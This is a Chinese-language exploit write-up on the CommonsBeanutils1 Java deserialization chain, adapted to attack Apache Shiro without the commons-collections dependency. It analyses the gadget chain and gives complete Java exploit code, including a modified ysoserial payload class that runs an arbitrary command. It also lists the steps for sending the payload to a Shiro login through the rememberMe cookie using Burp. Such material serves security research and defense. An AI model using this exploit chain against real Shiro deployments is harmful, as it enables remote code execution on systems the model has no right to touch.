ysoserial-CommonsBeanutils1的shiro无依赖链改造
字数 2220 2025-08-25 22:59:10
Shiro无依赖CommonsBeanutils1利用链分析与改造
一、CommonsBeanutils1利用链分析
1. 利用链概述
CommonsBeanutils1(CB1)利用链需要配合Commons-Beanutils组件进行利用,而Shiro框架自带此组件。该利用链的核心是通过反序列化触发恶意代码执行。
2. 关键组件
- TemplatesImpl:用于加载恶意字节码
- BeanComparator:比较器,用于触发getter方法调用
- PriorityQueue:反序列化入口点
3. 简化版利用链代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils {
// 修改值的方法,简化代码
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void main(String[] args) throws Exception {
// 创建恶意类
ClassPool pool = ClassPool.getDefault();
CtClass payload = pool.makeClass("EvilClass");
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
byte[] evilClass = payload.toBytecode();
// 设置TemplatesImpl字段
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 创建序列化对象
BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);
// 修改关键值
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 序列化与反序列化测试
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(queue);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}
}
4. 利用链分析框架
- 反序列化入口(source):
PriorityQueue#readObject - 调用链(gadget):
PriorityQueue#readObject- →
BeanComparator#compare - →
TemplatesImpl#getOutputProperties
- 触发漏洞的目标方法(sink):
TemplatesImpl#getOutputProperties
5. PriorityQueue分析
PriorityQueue#readObject作为入口点:
- 调用
heapify方法 heapify方法在size≥2时调用siftDownsiftDown方法最终调用siftDownUsingComparatorsiftDownUsingComparator调用comparator#compare
6. BeanComparator分析
BeanComparator是一个bean比较器:
- 实现了
java.util.Comparator接口 - 关键方法
compare中调用PropertyUtils.getProperty PropertyUtils.getProperty会调用传入JavaBean中property值对应的getter方法
7. TemplatesImpl分析
触发点TemplatesImpl#getOutputProperties()方法:
TemplatesImpl#getOutputProperties()- →
TemplatesImpl#newTransformer() - →
TemplatesImpl#getTransletInstance() - →
TemplatesImpl#defineTransletClasses() - →
TransletClassLoader#defineClass()
二、Shiro无依赖利用链改造
1. 原始CB1链的问题
原始CB1链依赖commons-collections包:
BeanComparator构造方法调用ComparableComparator.getInstance()ComparableComparator位于commons-collections包中- Shiro自带Commons-Beanutils但不带commons-collections
2. 改造要求
需要满足三个条件:
- 实现
java.util.Comparator接口 - 实现
java.io.Serializable接口 - Java、Shiro或commons-beanutils自带,且兼容性强
3. 替代方案
发现两个可用类:
CaseInsensitiveComparatorjava.util.Collections$ReverseComparator
方案一:使用CaseInsensitiveComparator
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
- 通过
String.CASE_INSENSITIVE_ORDER获取实例 - 放入
BeanComparator构造函数中使if为真,避免调用CC组件
方案二:使用ReverseComparator
BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
- 通过
Collections.reverseOrder()获取实例
4. 实际利用
生成rememberMe值的步骤:
- 运行改造后的Client生成payload
- 访问Shiro的
/login.jsp - 勾选rememberMe登录
- 使用Burp抓包
- 在cookie中添加
rememberMe=payload;
三、ysoserial改造实现
1. 改造后的CommonsBeanutils2
package ysoserial.payloads;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.Collections;
import java.util.PriorityQueue;
public class CommonsBeanutils2 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// 使用Collections.reverseOrder()替代CC依赖
final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
// 创建队列
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);
// 设置比较属性
Reflections.setFieldValue(comparator, "property", "outputProperties");
// 替换队列内容
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils2.class, args);
}
}
2. 打包使用
mvn clean package -DskipTests
四、关键点总结
-
利用链核心:通过
PriorityQueue反序列化触发BeanComparator比较操作,最终调用TemplatesImpl的getOutputProperties方法加载恶意字节码 -
依赖问题解决:使用Java自带的比较器(
CaseInsensitiveComparator或ReverseComparator)替代CC包的ComparableComparator -
Shiro利用:利用Shiro自带的Commons-Beanutils组件,无需额外依赖
-
恶意类构造:通过Javassist动态生成继承
AbstractTranslet的恶意类,在类初始化时执行恶意代码 -
属性设置:通过反射动态设置
BeanComparator的property为outputProperties,确保调用到TemplatesImpl的关键方法